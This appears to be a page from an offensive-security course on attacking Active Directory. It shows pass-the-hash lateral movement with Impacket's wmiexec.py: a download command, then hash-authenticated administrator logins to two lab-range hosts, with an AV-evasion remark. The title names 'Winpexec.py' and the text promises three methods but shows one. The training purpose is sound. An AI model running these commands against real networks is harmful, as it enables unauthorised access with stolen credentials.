> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/exploiting-with-poison-and-relay/pass-the-hash-with-winpexec.py.md).

# Pass The Hash with Winpexec.py

### Download winpexec.py

Now that we have translated our captured Net-NTLM login into a local Admin NTLM hash, we can attempt to pass said hash to gain internal access to the machine. There are 3 main methods I have used to significant effect:

Wmiexec is another Impacket remote command that uses WMIC to send commands and can bypass AV that catches smbexec.

```
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/wmiexec.py
```

### Pass the Hash

we are using the hash obtained from lsassy, donpapi and sam dump.

```
wmiexec.py -hashes '00000000000000000000000000000000:dbd13e1c4e338284ac4e9874f7de6ef4' administrator@192.168.56.22
whoami
ipconfig
hostname

wmiexec.py -hashes '00000000000000000000000000000000:dbd13e1c4e338284ac4e9874f7de6ef4' administrator@192.168.56.11
whoami
ipconfig
hostname
```

> Note: You have to replace the front part of the NTLM hash with 0’s in order for this to work.

<br>